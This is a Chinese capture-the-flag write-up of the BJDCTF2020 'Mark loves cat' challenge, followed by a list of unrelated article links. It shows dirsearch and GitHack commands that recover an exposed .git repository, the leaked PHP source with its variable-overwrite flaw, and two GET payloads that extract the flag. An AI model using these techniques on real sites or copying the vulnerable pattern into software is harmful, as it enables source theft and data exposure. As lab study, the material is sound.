当前位置: 首页 > news >正文

[BJDCTF2020]Mark loves cat

先用dirsearch扫一下,访问一下没有什么

需要设置线程

dirsearch -u http://8996e81f-a75c-4180-b0ad-226d97ba61b2.node4.buuoj.cn:81/ --timeout=2 -t 1 -x 400,403,404,500,503,429

使用githack

python2 GitHack.py http://8996e81f-a75c-4180-b0ad-226d97ba61b2.node4.buuoj.cn/.git

 

https://www.cnblogs.com/keta/p/6117237.html   foreach的语法

foreach用于遍历操作或输出数组

<?phpinclude 'flag.php';$yds = "dog";
$is = "cat";
$handsome = 'yds';foreach($_POST as $x => $y){$$x = $y;
}    //传入的post值会经过这,例:传入flag=flag,得到$x=flag,$y=flag,则$flag=flag;将会得不到flag的值foreach($_GET as $x => $y){$$x = $$y;
} //#传入的get值会经过这。例:传入is=flag,得到$is=$flagforeach($_GET as $x => $y){if($_GET['flag'] === $x && $x !== 'flag'){exit($handsome);}   //#get传入flag变量且值不为flag,输出handsome,退出
}if(!isset($_GET['flag']) && !isset($_POST['flag'])){exit($yds);
}  //#get和post传参不能有flagif($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){exit($is);   //#用post或get传的参数必须是flag且值为flag
}echo "the flag is: ".$flag;

因为很少做变量覆盖,都是参考别人的

第一种方法:

#传入的get值会经过这。例:传入is=flag,得到$is=$flag.
foreach($_GET as $x => $y){$$x = $$y;
}
#用post或get传的参数必须是flag且值为flag
if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){exit($is);
}

首先传入is=flag,得到$x=is,$y=flag. 带进去变成$is=$flag;

if要求用post或get传入flag=flag,就会打印$is。而且经过foreach函数时得到$flag=$flag。没有改变内容。

即最终payload:/?is=flag&flag=flag

第二种方法:

#传入的get值会经过这。例:传入is=flag,得到$is=$flag.
foreach($_GET as $x => $y){$$x = $$y;
}
#get和post传参不能有flag
if(!isset($_GET['flag']) && !isset($_POST['flag'])){exit($yds);
}

最终输出$yds,和第一种一样,先构造yds=flag,

if要求get和post不能有flag函数。直接忽略

即payload:/?yds=flag

http://www.lryc.cn/news/182366.html

相关文章:

  • @SpringBootApplication注解的理解——如何排除自动装配 分布式情况下如何自动加载 nacos是怎么被发现的
  • HTTP的前世今生
  • 软件测试教程 自动化测试selenium篇(二)
  • JavaSE入门--初始Java
  • leetcode做题笔记160. 相交链表
  • 数学建模Matlab之检验与相关性分析
  • 微服务网关:Spring Cloud Zuul 升级 Spring Cloud Gateway 的核心要点
  • 视频讲解|含可再生能源的热电联供型微网经济运行优化(含确定性和源荷随机两部分代码)
  • 3种等待方式,让你学会Selenium设置自动化等待测试脚本!
  • [Spring] Spring5——AOP 简介
  • C/C++ 动态规划面试算法题
  • kafka伪集群部署,使用zookeeper模式
  • Postgresql 主从复制+主从切换(流复制)
  • java获取字符串集合中每个字符并且组成一个新的集合实现
  • 结构型设计模式——外观模式
  • 【算法学习】-【双指针】-【快乐数】
  • 【Java-LangChain:使用 ChatGPT API 搭建系统-6】处理输入-链式 Prompt Chaining Prompts
  • 从零手搓一个【消息队列】创建核心类, 数据库设计与实现
  • 14:00面试,14:06就出来了,这问的过于变态了。。。
  • url请求头信息
  • 【Oracle】Oracle系列之十六--数据库备份
  • uni-app:实现页面效果3
  • 计算机网络基础(一):网络系统概述、OSI七层模型、TCP/IP协议及数据传输
  • 互联网金融理财知识点简单总结
  • 微信小程序template界面模板导入
  • C/C++跨平台构建工具CMake-----在C++源码中读取CMakeLists.txt配置文件中的内容
  • 【MVP争夺战】python实现-附ChatGPT解析
  • 6 个最佳免费 Android 数据恢复软件
  • 数学建模Matlab之数据预处理方法
  • 如何保证Redis的HA高可用